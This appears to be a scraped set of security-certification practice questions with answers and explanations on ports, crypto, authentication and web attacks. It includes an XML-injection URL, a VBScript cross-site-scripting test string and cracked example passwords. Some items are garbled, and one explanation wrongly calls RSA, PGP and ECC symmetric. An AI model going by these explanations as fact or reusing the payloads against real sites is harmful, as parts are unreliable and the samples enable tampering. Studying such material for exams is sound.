Which of the following tools could be used to detect unexpected output from an application being managed or monitored?
A behavior-based analysis tool
A log analysis tool
Manual analysis
A signature-based detection tool
A behavior-based analysis tool
OBJ-2.1: A behavior-based analysis tool can be used to capture/analyze normal behavior and then alert when an anomaly occurs. Configuring a behavior-based analysis tool requires more effort to properly set up, but it requires less work and manual monitoring once it is running. Signature-based detection is a process where a unique identifier is established about a known threat so that the threat can be identified in the future. Manual analysis requires a person to read all the output and determine if it is erroneous. A log analysis tool would only be useful to analyze the logs, but it would not be able to detect unexpected output by itself. Instead, the log analysis tool would need to use a behavior-based or signature-based detection system.
You received an incident response report that indicates a piece of malware was introduced into the company’s network through a remote workstation that was connected to the company’s servers over a VPN connection. Which of the following controls should be applied to prevent this type of incident from occurring again?
SPF
ACL
NAC
MAC filtering
NAC
OBJ-2.1: Network Access Control (NAC) is an approach to computer security that attempts to unify endpoint security technology (such as anti-virus, host intrusion prevention, and vulnerability assessment), the user or system authentication, and network security enforcement. When a remote workstation connects to the network, NAC will place it into a segmented portion of the network (sandbox), scan it for malware and validate its security controls, and then based on the results of those scans, either connect it to the company’s networks or place the workstation into a separate quarantined portion of the network for further remediation. An access control list (ACL) is a type of network traffic filter that can control incoming or outgoing traffic. An ACL alone would not have prevented this issue. MAC Filtering refers to a security access control method whereby the MAC address assigned to each network card is used to determine access to the network. MAC filtering operates at layer 2 and is easy to bypass. Sender Policy Framework (SPF) is an email authentication method designed to detect forging sender addresses during the delivery of the email.
David noticed that port 3389 was open on one of the POS terminals in a store during a scheduled PCI compliance scan. Based on the scan results, what service should he expect to find enabled on this terminal?
RDP
IMAP
MySQL
LDAP
RDP
OBJ-2.6: Port 3389 is an RDP port used for the Remote Desktop Protocol. If this port isn’t supposed to be opened, then an incident response plan should be the next step since this can be used for remote access by an attacker. MySQL runs on port 3306. LDAP runs on port 389. IMAP over SSL runs on port 993.
What is the lowest layer (bottom layer) of a bare-metal virtualization environment?
Guest operating system
Hypervisor
Host operating system
Physical hardware
Physical hardware
OBJ-3.7: The bottom layer is physical hardware in this environment. It is what sits beneath the hypervisor and controls access to guest operating systems. The bare-metal approach doesn’t have a host operating system.
What is a reverse proxy commonly used for?
To prevent the unauthorized use of cloud services from the local network
Allowing access to a virtual private cloud
Directing traffic to internal services if the contents of the traffic comply with the policy
To obfuscate the origin of a user within a network
Directing traffic to internal services if the contents of the traffic comply with the policy
OBJ-2.1: A reverse proxy is positioned at the cloud network edge and directs traffic to cloud services if the contents of that traffic comply with the policy. This does not require the configuration of the users’ devices. This approach is only possible if the cloud application has proxy support. You can deploy a reverse proxy and configure it to listen for client requests from a public network, like the internet. The proxy then creates the appropriate request to the internal server on the corporate network and passes the response from the server back to the external client. They are not generally intended to obfuscate the source of communication, nor are they necessarily specific to the cloud. A cloud access security broker (CASB) can be used to prevent unauthorized use of cloud services from the local network.
Windows file servers commonly hold sensitive files, databases, passwords, and more. What common vulnerability is usually used against a Windows file server to expose sensitive files, databases, and passwords?
SQL injection
Cross-site scripting
CRLF injection
Missing patches
Missing patches
OBJ-3.3: Missing patches are the most common vulnerability found on both Windows and Linux systems. When a security patch is released, attackers begin to reverse engineer the security patch to exploit the vulnerability. If your servers are not patched against the vulnerability, they can become a victim of the exploit, and the data contained on the server can become compromised. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. Cross-site scripting focuses on exploiting a user’s workstation, not a server. CRLF injection is a software application coding vulnerability that occurs when an attacker injects a CRLF character sequence where it is not expected. SQL injection is the placement of malicious code in SQL statements, via web page input. SQL is commonly used against databases, but they are not useful when attacking file servers.
Which of the following authentication methods is an open-source solution for single sign-on across organizational boundaries on the web?
Shibboleth
TACACS+
Kerberos
RADIUS
Shibboleth
OBJ-4.2: Shibboleth is a standards-based, open-source software package for single sign-on across or within organizational boundaries on the web. It allows sites to make informed authorization decisions for individual access of protected online resources in a privacy-preserving manner. Shibboleth utilizes SAML to provide this federated single sign-on and attribute exchange framework.
Jason has created a new password cracking tool using some Python code. When he runs the program, the following output is displayed:
Linux:~ diontraining$ ./CrackPWD.py Password cracking in progress... Passwords found for 4 users: 1) jason:rover123 2) tamera:Purple6! 3) sahra:123Password 4) tim:cupcakes2 Based on the output, what type of password cracking method does Jason’s new tool utilize?
Dictionary attack
Brute force attack
Rainbow attack
Hybrid attack
Hybrid attack
OBJ 1.2: Based on the passwords found in the example, Jason’s new password cracker is most likely using a hybrid approach. All of the passwords found are dictionary words with some additional characters added to the end. For example, Jason’s password of rover123 is made up of the dictionary word “rover” and the number 123. It is likely that the cracker attempted to use a dictionary word (like rover) and the attempted variations on it using brute force (such as adding 000, 001, 002, …122, 123) to the end of the password until found. Combining the dictionary and brute force methods into a single tool is known as a hybrid password cracking approach.
Dion Training has implemented a new mandatory vacation policy to help identify any malicious insiders or employees. Which of the following control types would this policy be categorized?
Managerial
Technical
Operational
Physical
Managerial
OBJ-5.7: Managerial or administrative controls are used to determine the way people act. These include policies, procedures, and guidance. Mandatory vacation policies, job rotation policies, and separation of duties policies are great examples of managerial controls.
You are analyzing the SIEM for your company’s ecommerce server when you notice the following URL in the logs of your SIEM: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- https://www.diontraining.com/add_to_cart.php?itemId=5”+perItemPrice=”0.00”+quantity=”100”+/>
XML injection
OBJ-1.2: This is an example of a XML injection. XML injection manipulates or compromises the logic of an XML application or service. The injection of unintended XML content and/or structures into an XML message can alter the intended logic of an application, and XML Injection can cause the insertion of malicious content into resulting messages/documents. In this case, the URL is attempting to modify the server’s XML structure. The original XML structure would be: . By using the URL above, this would be modified to the following: . The result would be that a new line was added to the XML document that could be processed by the server. This line would allow 10 of the product at $0.00 to be added to the shopping cart, while 0 of the product at $50.00 is added to the cart. This defeats the integrity of the e-commerce store’s add to cart functionality through this XML injection. A SQL injection occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database. A buffer overflow is an exploit that attempts to write data to a buffer and exceed that buffer’s boundary to overwrite an adjacent memory location. A session hijacking attacks consists of the exploitation of the web session control mechanism, which is normally managed for a session token. The real key to answering this question is identifying the XML structured code being entered as part of the URL, which is shown by the bracketed data.
Nick is participating in a security exercise as part of the network defense team for his organization. Which team is Nick playing on?
Blue team
Yellow team
Red team
White team
Blue team
OBJ-5.4: Penetration testing can form the basis of functional exercises. One of the best-established means of testing a security system for weaknesses is to play “war game” exercises in which the security personnel split into teams: red, blue, and white. The red team acts as the adversary. The blue team acts as the defenders. The white team acts as the referees and sets the parameters for the exercise. The yellow team is responsible for building tools and architectures in which the exercise will be performed.
Chris just downloaded a new third-party email client for his smartphone. When Chris attempts to log in to his email with his username and password, the email client generates an error messaging stating that “Invalid credentials” were entered. Chris assumes he must have forgotten his password, so he resets his email’s username and password and then reenters them into the email client. Again, Chris receives an “Invalid credentials” error. What is MOST likely causing the “Invalid credentials” error in regard to Chris’s email client?
His email account requires multifactor authentication
His email account is locked out
His email account requires a strong password to be used
His smartphone has full device encryption enabled
His email account requires multifactor authentication
OBJ-4.1: If a user or system has configured their email accounts to require two-factor authentication (2FA) or multifactor authentication, then even if they enter their username and password correctly in the third-party email client, they will receive the “Invalid credentials” error message. Some email servers will allow the user to create an Application Specific Password to bypass the multifactor authentication requirement to overcome this, or the user will have to use an email client that supports multifactor authentication.
Smurf attack
A smurf attack occurs when an attacker sends a ping to a subnet broadcast address and devices reply to spoofed IP (victim server), using up bandwidth and processing power. This image is a graphical depiction of this type of attack.
DeepScan supports data-flow analysis and understands the execution flow of a program. It allows you to see possible security flaws without executing the code. Which of the following types of tools would DeepScan be classified as?
Fuzzer
Fault injector
Decompiler
Static code analyzer
Static code analyzer
OBJ-3.6: DeepScan is an example of a static code analysis tool. It inspects the code for possible errors and issues without actually running the code. Fuzzing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program through the use of a fuzzer. A decompiler is a computer program that takes an executable file as input and attempts to create a high-level source file that can be recompiled successfully. Fault injection is a testing technique that aids in understanding how a system behaves when stressed in unusual ways. A fuzzer, decompiler, and fault injector are all dynamic analysis tools because they require the program being tested to be run in order to be analyzed
You are installing a new wireless network in your office building and want to ensure it is secure. Which of the following configurations would create the MOST secure wireless network?
WPA and MAC filtering
WEP and TKIP
WPA2 and RC4
WPA2 and AES
WPA2 and AES
OBJ-6.3: The most secure wireless network configuration utilizes WPA2 with AES encryption. WPA2 is the most secure wireless encryption standard, as it has replaced both WPA and WEP. AES is an extremely strong encryption algorithm that is used by default in the WPA2 standard.
Question 27: Correct
You are analyzing the following network utilization report because you suspect one of the servers has been compromised. -=-=-=-=-=–=-=-=-=-=–=-=-=-=-=–=-=-=-=-=–=-=-=-=-=–=-=-=-=-=- IP Address Name Uptime Historical Current
192.168.20.2 web01 7D 12H 32M 06S 42.6 GB 44.1 GB 192.168.20.3 webdev02 4D 07H 12M 45S 1.95 GB 2.13 GB
192.168.20.4 dbsvr01 12D 02H 46M 14S 3.15 GB 24.6 GB
192.168.20.5 marketing01 2D 17H 18M 41S 5.2 GB 4.9 GB -=-=-=-=-=–=-=-=-=-=–=-=-=-=-=–=-=-=-=-=–=-=-=-=-=–=-=-=-=-=-
Based on the report above, which of the following servers do you suspect has been compromised and should be investigated further?
dbsvr01
marketing01
web01
webdev02
dbsvr01
OBJ-2.3: Due to the very large increase in network utilization on dbsvr01, it should be suspected of compromise and be investigated further. The server has a historical average utilization of only 3.15 GB per month, but this month there has been an increase to 24.6 GB of usage. This increase is nearly 8x more than the previous month when all of the other servers stayed relatively constant. This is indicative of a possible compromise of the database server (dbsvr01) and a data breach or data exfiltration.
The digital certificate on the Dion Training web server is about to expire. Which of the following should Jason submit to the CA in order to renew the server’s certificate?
CRL
CSR
Key escrow
OCSP
CSR
OBJ-6.4: A CSR (certificate signing request) is what is submitted to the CA (certificate authority) to request a digital certificate. Key escrow stores keys, CRL is a list of revoked certificate, and the OCSP is a status of certificates that provides validity such as good, revoked, or unknown.
Your company has just finished replacing all of its computers with brand new workstations. Colleen, one of your coworkers, has asked the owner of the company if she can have the old computers that are about to be thrown away. Colleen would like to refurbish the old computers by reinstalling a new operating system and donate them to a local community center for disadvantaged children in the neighborhood. The owner thinks this is a great idea but is concerned that the private and sensitive corporate data on the old computer’s hard drives might be placed at risk of exposure. You have been asked to choose the best solution to sanitize or destroy the data while ensuring the computers will still be usable by the community center. What type of data destruction or sanitization method do you recommend?
Shredding
Purging
Wiping
Degaussing
Wiping
OBJ-5.7: Data wiping or clearing occurs by using a software tool to overwrite the data on a hard drive in an effort to destroy all electronic data on a hard disk or other media. Data wiping may be performed with a 1x, 7x, or 35x overwriting, with a higher number of times being more secure. This allows the hard drive to remain functional and allows for hardware reuse. Degaussing a hard drive involves demagnetizing a hard drive to erase its stored data. You cannot reuse a hard drive once it has been degaussed. Therefore, it is a bad solution for this scenario. Purging involves the removal of sensitive data from a hard drive using the device’s own electronics or an outside source (like a degausser). A purged device is generally not reusable. Shredding involves physical destruction of the hard drive. This is a secure method of destruction but doesn’t allow for device reuse.
Which of the following type of threats did the Stuxnet attack rely on to cross an airgap between a business and an industrial control system network?
Directory traversal
Removable media
Session hijacking
Cross-site scripting
Removable media
OBJ-3.5: Airgaps are designed to remove connections between two networks in order to create a physical segmentation between them. The only way to cross an airgap is to have a physical device between these systems, such as using a removable media device to transfer files between them. A directory traversal is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server’s root directory. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. A session hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server. A directory traversal, cross-site scripting, or session hijacking attack cannot by itself cross an airgap.
You are setting up the Remote Desktop Services on a Windows 2019 server. In order to increase the security of the server, which TWO of the following actions should you take?
Block all unused ports on the switch, router, and firewall
Logically place the Windows 2019 server into the network’s DMZ
Disable log on time restrictions on the server
Change the default access port for the terminal server
Enforce password complexity on the server
Force the use of a local client certificate for authentication with the server
Block all unused ports on the switch, router, and firewall / Logically place the Windows 2019 server into the network’s DMZ
OBJ-2.1: To best secure the server, you should logically place the Windows 2019 server into the network’s DMZ and block all unused ports on the switch, router, and firewall. Since the server will be used to allow remote connections from across the internet to access the server directly, the server must be placed into the De-Militarized Zone (DMZ) of the network and not in the internal trusted portion of the network. Additionally, any server or services that are going to be forward-facing to the internet (like a Remote Desktop Services server) should have all of the unused ports blocked on the switch, router, and firewall to minimize the footprint of the network. By blocking unused ports, there are fewer ways for an attacker to get into the network and to attack the server.
You are working for a government contractor who requires all users to use a PIV device when sending digitally signed and encrypted emails. Which of the following physical security measures is being implemented?
Biometric reader
Cable lock
Key fob
Smart card
Smart card
OBJ-4.1: A smart card is used in applications that need to protect personal information and/or deliver fast, secure transactions, such as transit fare payment cards, government, and corporate identification cards, documents such as electronic passports, visas, and financial payment cards. Often, smart cards are used as part of a multifactor authentication system where the smart card and a PIN needs to be entered for system authentication to occur.
Which of the following cryptographic algorithms is classified as symmetric?
PGP
ECC
3DES
RSA
3DES
OBJ-6.2: Triple DES (3DES) is a symmetric-key block cipher that applies the DES cipher algorithm three times to each data block to increase its security over DES. RSA, PGP, and ECC are all symmetric algorithms.
Dion Training is using an authentication protocol to connect a network client to a networked file server by providing its authentication credentials. The file server then uses the authentication credentials to issue an authentication request to the server running this protocol. The server then is able to exchange authentication messages with the file server on behalf of the client. Throughout this process, a shared secret is used to protect the communication. Which of the following technologies relies upon the shared secret?
LDAP
PKI
Kerberos
RADIUS
RADIUS
OBJ-4.2: Remote Authentication Dial-In User Service (RADIUS) is a networking protocol, operating on port 1812 that provides centralized Authentication, Authorization, and Accounting (AAA or Triple A) management for users who connect and use a network service. The RADIUS protocol utilizes an obfuscated password that is created from the shared secret and creates a MD5 hash of the authentication request to protect the communications.
Your company just installed a new webserver within your DMZ. You have been asked to open up the port for secure web browsing on the firewall. Which port should you set as open to allow users to access this new server?
80
143
21
443
443
OBJ-2.6: Port 443 is used for HTTPS traffic. Therefore, this port must be opened. This is secure web browsing over SSL or TLS. Port 21 is used for the File Transfer Protocol (FTP). Port 80 is used for unsecured web browsing (HTTP). Port 143 is used for Internet Mail Application Protocol (IMAP).
An employee contacts the service desk because they are unable to open an attachment they receive in their email. The service desk agent conducts a screen sharing session with the user and investigates the issue. The agent notices that the attached file is named Invoice1043.pdf, and a black pop-up window appears and then disappears quickly when the attachment was double-clicked. Which of the following is most likely causing this issue?
The email is a form of spam and should be deleted
The file contains an embedded link to a
malicious website
The attachment is using a double file extension to mask its identity
The user doesn’t have a PDF reader installed on their computer
The attachment is using a double file extension to mask its identity
OBJ-1.2: The message contains a file attachment in the hope that the user will execute or open it. The nature of the attachment might be disguised by formatting tricks such as using a double file extension, such as Invoice1043.pdf.exe, where the user only sees the first extension since .exe is a known file type in Windows. This would explain the black pop-up window that appears and then disappeared, especially if the exe file was running a command-line tool. This file is most likely not a PDF, so there is no need for a PDF reader. Additionally, most modern web browsers, such as Chrome and Edge, can open PDF files by default for the user. The file would not contain an embedded link since an embedded link is another popular attack vector that embeds a link to a malicious site within the email body, not within the file. This email is likely not spam and would be better categorized as a phishing attempt instead.
You are working as a network administrator for Dion Training. The company has decided to allow employees to connect their devices to the corporate wireless network under a new BYOD policy. You have been asked to separate the corporate network into an administrative network (for corporate-owned devices) and an untrusted network (for employee-owned devices). Which of the following technologies should you implement to achieve this goal?
MAC filtering
VLAN
WPA2
VPN
VLAN
OBJ-3.2: A virtual local area network (VLAN) is a type of network segmentation that is configured in your network switches that prevent communications between different VLANs without using a router. This allows two virtually separated networks to exist on one physical network and separates the two virtual network’s data. A virtual private network (VPN) is a type of remote access capability to connect a trusted device over an untrusted network back to the corporate network. A VPN would not create the desired effect. WPA2 is a type of wireless encryption, but it will not create two different segmented networks on the same physical hardware. MAC filtering is used to allow or deny a device from connecting to a network, but it will not create two network segments, as desired
Which of the following attacks would most likely be used to create an inadvertent disclosure of information from an organization’s database?
Buffer overflow
Denial of service
Cross-site scripting
SQL injection
SQL injection
OBJ-1.2: A SQL injection poses the most direct and more impactful threat to an organization’s database. A SQL injection could allow the attacker to execute remote commands on the database server and lead to the disclosure of sensitive information. A buffer overflow attack attempts to overwrite the memory buffer in order to send additional data into adjacent memory locations. A buffer overflow attack might target a database server, but it isn’t intended to cause a disclosure of information directly. Instead, a buffer overflow attack may be used to gain initial access to a server and allow for the running of other malicious code. A denial of service targets the availability of the information by attempting to take the server offline. A cross-site scripting attack typically is focused against the user, not the server or database.
What access control model will a network switch utilize if it requires multilayer switches to use authentication via RADIUS/TACACS+?
- 1q
- 11ac
- 1x
- 3af
802.1x
OBJ-6.3: If you are using RADIUS/TACACS+ with the switch, you will need to use 802.1x for the protocol.
You have run a vulnerability scan and received the following output: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- CVE-2011-3389 QID 42366 - SSLv3.0/TLSv1.0 Protocol weak CBC mode Server side vulnerability Check with: openssl s_client -connect login.diontraining.com:443 - tls -cipher “AES:CAMELLISA:SEED:3DES:DES” -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Which of the following categories should this be classified as?
Web application cryptography vulnerability
PKI transfer vulnerability
Active Directory encryption vulnerability
VPN tunnel vulnerability
Web application cryptography vulnerability
OBJ-1.6: This vulnerability should be categories as a web application cryptographic vulnerability. This is shown by the weak SSLv3.0/TLSv1.0 protocol being used in cipher block chaining (CBC) mode. Specifically, the use of the 3DES and DES algorithms during negotiation is a significant vulnerability. A stronger protocol should be used, such as forcing the use of AES.
Which of the following cryptographic algorithms is classified as asymmetric?
RC4
DES
Twofish
ECC
ECC
OBJ-6.2: Elliptic-curve cryptography (ECC) is an approach to public-key cryptography based on the algebraic structure of elliptic curves over finite fields. As a public-key cryptosystem, it relies on an asymmetric algorithm. Twofish, RC4, and DES are all symmetric algorithms.
Dion Training wants to implement a technology within their corporate network to BEST mitigate the risk that a zero-day virus might infect their workstations. Which of the following should be implemented FIRST?
Host-based firewall
Anti-malware solution
Intrusion detection system
Application whitelisting
Application whitelisting
OBJ-3.3: Application whitelisting will only allow a program to execute if it is specifically listed in the approved exception list. All other programs are blocked from running. This makes it the BEST mitigation again a zero-day virus. An intrusion detection system might detect the anomalous activity created by a piece of malware, but it will only log or alert based on the activity, not prevent it. A host-based firewall may prevent a piece of malware from establishing a network connection with a remote server, but again, it wouldn’t prevent an infection or prevent it from executing. An anti-malware solution is a good investment towards improving your security, but since the threat is a zero-day virus, an anti-malware solution will not be able to detect it using its signature database.
An analyst just completed a port scan and received the following results of open ports: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- TCP: 80 TCP: 110 TCP: 443 TCP: 1433 TCP: 3306 TCP: 3389 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Based on these scan results, which of the following services are NOT currently operating?
RDP
Database
Web
SSH
SSH
OBJ-2.2: Based on the port numbers shown as open in the nmap scan results, SSH is not currently operating. SSH operates over port 22. Web servers use port 80 for HTTP and 443 for HTTPS. Database servers run on port 1433 (Microsoft SQL) or 3306 (MySQL). Remote Desktop Protocol runs on port 3389.
A cybersecurity analyst is attempting to classify network traffic within an organization. The analyst runs the tcpdump command and receives the following output: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- $ tcpdump -n -i eth0 15:01:35.170763 IP 10.0.19.121.52497 > 11.154.12.121.ssh: P 105:157(52) ack 18060 win 16549 15:01:35.170776 IP 11.154.12.121.ssh > 10.0.19.121.52497: P 23988:24136(148) ack 157 win 113 15:01:35.170894 IP 11.154.12.121.ssh > 10.0.19.121.52497: P 24136:24380(244) ack 157 win 113 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Which of the following statements is true based on this output?
- 0.19.121 is a client that is accessing an SSH server over port 52497
- 154.12.121 is a client that is accessing an SSH server over port 52497
- 154.12.121 is under attack from a host at 10.0.19.121
- 0.19.121 is under attack from a host at 11.154.12.121
10.0.19.121 is a client that is accessing an SSH server over port 52497
OBJ-2.2: This output from the tcpdump command is displaying three packets in a larger sequence of events. Based solely on these three packets, we can only be certain that the server (11.154.12.121) is running an SSH server over port 22. This is based on the first line of the output. The second and third lines are the server responding to the request and sending data back to the client (10.0.19.121) over port 52497. There is not evidence of an attack against either the server or the client based on this output since we can only see the headers and not the content being sent between the client and server.
Which of the following hashing algorithms results in a 160-bit fixed output?
SHA-2
MD-5
NTLM
RIPEMD
RIPEMD
OBJ-6.2: RIPEMD creates a 160-bit fixed output. SHA-2 creates a 256-bit fixed output. NTLM creates a 128-bit fixed output. MD-5 creates a 128-bit fixed output.
The management at Steven’s work is concerned about rogue devices being attached to the network. Which of the following solutions would quickly provide the most accurate information that Steve could use to identify rogue devices on a wired network?
A discovery scan using a port scanner
Router and switch-based MAC address reporting
Reviewing a central administration tool like
a SCCM
A physical survey
Router and switch-based MAC address reporting
OBJ-2.2: The best option is MAC address reporting coming from a source device like a router or a switch. If the company uses a management system or inventory process to capture these addresses, then a report from one of these devices will show what is connected to the network even when they are not currently in the inventory. This information could then be used to track down rogue devices based on the physical port it is connected to on a network device.
Which type of monitoring would utilize a network tap?
Router-based
Active
SNMP
Passive
Passive
OBJ-3.2: Network taps are devices that allow a copy of network traffic to be captured for analysis. They conduct passive network monitoring and visibility without interfering with the network traffic itself. Active monitoring relies on the scanning of targeted systems, not a network tap. Router-based monitoring would involve looking over the router’s logs and configuration files. SNMP is used to monitor network devices, but is considered a form of active monitoring and doesn’t rely on network taps.
Tony works for a company as a cybersecurity analyst. His company runs a website that allows public postings. Recently, users have started complaining about the website having pop-up messages asking for their username and password. Simultaneously, your security team has noticed there has been a large increase in the number of compromised user accounts on the system. What type of attack is most likely the cause of both of these events?
Rootkit
Cross-site scripting
Cross-site request forgery
SQL injection
Cross-site scripting
OBJ-1.2: This scenario is a perfect example of the effects of a cross-site scripting (XSS) attack. If your website’s HTML code does not perform input validation to remove scripts that may be entered by a user, then an attacker can create a pop-up window that collects passwords and uses that information to further compromise other accounts. A cross-site request forgery (CSRF) is an attack that forces an end-user to execute unwanted actions on a web application in which they are currently authenticated. An XSS will allow an attacker to execute arbitrary JavaScript within the browser of a victim user (such as creating pop-ups). A CSRF would allow an attack to induce a victim to perform actions that they do not intend to perform. A rootkit is a set of software tools that enable an unauthorized user to gain control of a computer system without being detected. SQL injection is the placement of malicious code in SQL statements, via web page input. None of the things described in this scenario would indicate a CSRF, rootkit, or an SQL injection.
A corporate workstation was recently infected with malware. The malware was able to access the workstation’s credential store and steal all the usernames and passwords from the machine. Then, the malware began to infect other workstations on the network using the usernames and passwords it stole from the first workstation. The IT Director has directed its IT staff to come up with a plan to prevent this type of issue from occurring again in the future. Which of the following would BEST prevent this from reoccurring?
Install an anti-virus or anti-malware solution that uses heuristic analysis
Install a Unified Threat Management system on the network to monitor for suspicious traffic
Install a host-based intrusion detection system on all of the corporate workstations
Monitor all workstations for failed login attempts and forward them to a centralized SYSLOG server
Install an anti-virus or anti-malware solution that uses heuristic analysis
OBJ-2.1: The only solution provided that could STOP this from reoccurring would be to use an anti-virus or anti-malware solution with heuristic analysis. The other options might be able to monitor and detect the issue, but not stop it from spreading. Heuristic analysis is a method employed by many computer anti-virus programs designed to detect previously unknown computer viruses, as well as new variants of viruses already in the wild. This is behavior-based detection and prevention, so it should be able to detect the issue in the scenario provided and stop it from spreading throughout the network.
Which role validates the user’s identity when using SAML for authentication?
User agent
SP
RP
IdP
IdP
OBJ-4.2: The IdP provides the validation of the user’s identity. Security assertions markup language (SAML) is an XML-based framework for exchanging security-related information such as user authentication, entitlement, and attributes. SAML is often used in conjunction with SOAP. SAML is a solution for providing single sign-on (SSO) and federated identity management. It allows a service provider (SP) to establish a trust relationship with an identity provider (IdP) so that the identity of a user (the principal) can be trusted by the SP without the user having to authenticate directly with the SP. The principal’s User Agent (typically a browser) requests a resource from the service provider (SP). The resource host can also be referred to as the relying party (RP). If the user agent does not already have a valid session, the SP redirects the user agent to the identity provider (IdP). The IdP requests the principal’s credentials if not already signed in and, if correct, provides a SAML response containing one or more assertions. The SP verifies the signature(s) and (if accepted) establishes a session and provides access to the resource.
You have been asked to determine if Dion Training’s webserver is vulnerable to a recently discovered attack on an older version of SSH. Which technique should you use to determine the current version of SSH running on their web server?
Banner grabbing
Protocol analysis
Vulnerability scan
Passive scan
Banner grabbing
OBJ-2.2: Banner grabbing is conducted by actively connecting to the server using telnet or netcat and collecting the response from the webserver. This banner usually contains the operating system being run by the server as well as the version number of the service (SSH) being run. This is the fastest and easiest way to determine the version of SSH being run on this web server. While it is possible to use a vulnerability scanner, protocol analyzer, or to conduct a passive scan to determine the version of SSH, these are more time consuming and not fully accurate methods to determine the version being run.
Raj is working to deploy a new vulnerability scanner for an organization. He wants to verify the information he gets is the most accurate view of the configurations on the laptops of the organization’s traveling salespeople in order to determine if there are any configuration issues that could lead to new vulnerabilities. Which of the following technologies would work BEST to collect the configuration information in this situation?
Server-based scanning
Passive network monitoring
Non-credentialed scanning
Agent-based scanning
Agent-based scanning
OBJ-1.5: Using agent-based scanning, you typically get the most reliable results for systems that are not connected to the network, as well as the ones that are connected. This is ideal for traveling salespeople since their laptops are not constantly connected to the organization’s network. These agent-based scans can be conducted when the laptop is offline, and then sent to a centralized server the next time the laptop is connected to the network. Server-based scanning, non-credentialed scanning, and passive network monitoring all require a continuous network connection in order for them to accurately collect the configurations of the devices.
Which of the following cryptographic algorithms is classified as asymmetric?
PGP
AES
3DES
RC4
PGP
OBJ-6.2: Pretty Good Privacy (PGP) is an encryption program that provides cryptographic privacy and authentication for data communication. PGP is used for signing, encrypting, and decrypting texts, emails, files, directories, and whole disk partitions and to increase the security of email communications. PGP is a public-key cryptosystem and relies on an asymmetric algorithm. AES, RC4, and 3DES are all symmetric algorithms.
Which of the following proprietary tools is used to create forensic disk images without making changes to the original evidence?
Memdump
FTK Imager
dd
Autopsy
FTK Imager
OBJ-5.5: FTK Imager can create perfect copies or forensic images of computer data without making changes to the original evidence. The forensic image is identical in every way to the original, including file slack and unallocated space or drive free space. The dd tool can also be used to create forensic images, but it is not a proprietary tool since it is open-source. Memdump is used to collect the content within RAM on a given host. Autopsy is a cross-platform, open-source forensic tool suite.
An insurance company has developed a new web application to allow its customers to choose and apply for an insurance plan. You have been asked to help perform a security review of the new web application. You have discovered that the application was developed in ASP and used MSSQL for its backend database. You have been able to locate an application’s search form and introduced the following code in the search input field: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- IMG SRC=vbscript:msgbox(“Vulnerable_to_Attack”);> originalAttribute=”SRC” originalPath=”vbscript:msgbox(“Vulnerable_to_Attack “);>” -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- When you click submit on the search form, your web browser returns a pop-up window that displays Vulnerable_to_Attack. Which of the following vulnerabilities did you discover in the web application?
Cross-site scripting
Command injection
SQL injection
Cross-site request forgery
Cross-site scripting
OBJ-1.2: This is a form of Cross-Site Scripting (XSS). Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site request forgery (CSRF or XSRF) is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. There are many ways in which a malicious website can transmit commands such as specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests can all work without the user’s interaction or even knowledge. SQL injection is a code injection technique used to attack data-driven applications in which malicious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker. Command injection is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell.
Which of the following cryptographic algorithms is classified as asymmetric?
Blowfish
Diffie-Hellman
RC4
AES
Diffie-Hellman
OBJ-6.2: The Diffie-Hellman (DH) is used as a method of securely exchanging cryptographic keys over a public channel and was one of the first public-key protocols. As a public-key protocol, it relies on an asymmetric algorithm. AES, RC4, and Blowfish are all symmetric algorithms.
Which of the following protocols could be used inside of a virtual system to manage and monitor the network?
SMTP
BGP
SNMP
EIGRP
SNMP
OBJ-2.6: SNMP is used to monitor and manage networks, both physical and virtual. SMTP is used for email. BGP and EIGRP are used for routing network data.
You have been asked to install a computer in a public workspace. The computer should only be used by an authorized user. Which of the following security requirements should you implement to prevent unauthorized users from accessing the network with this computer?
Issue the same strong and complex password for all users
Disable single sign-on
Remove the guest account from the administrator group
Require authentication on wake-up
Require authentication on wake-up
OBJ-4.1: To prevent the computer from being used inadvertently to access the network, the system should be configured to require authentication whenever the computer is woken up. Therefore, if an authorized user walks away from the computer and it goes to sleep, when another person tries to use the computer, it will ask for a username and password prior to granting them access to the network.
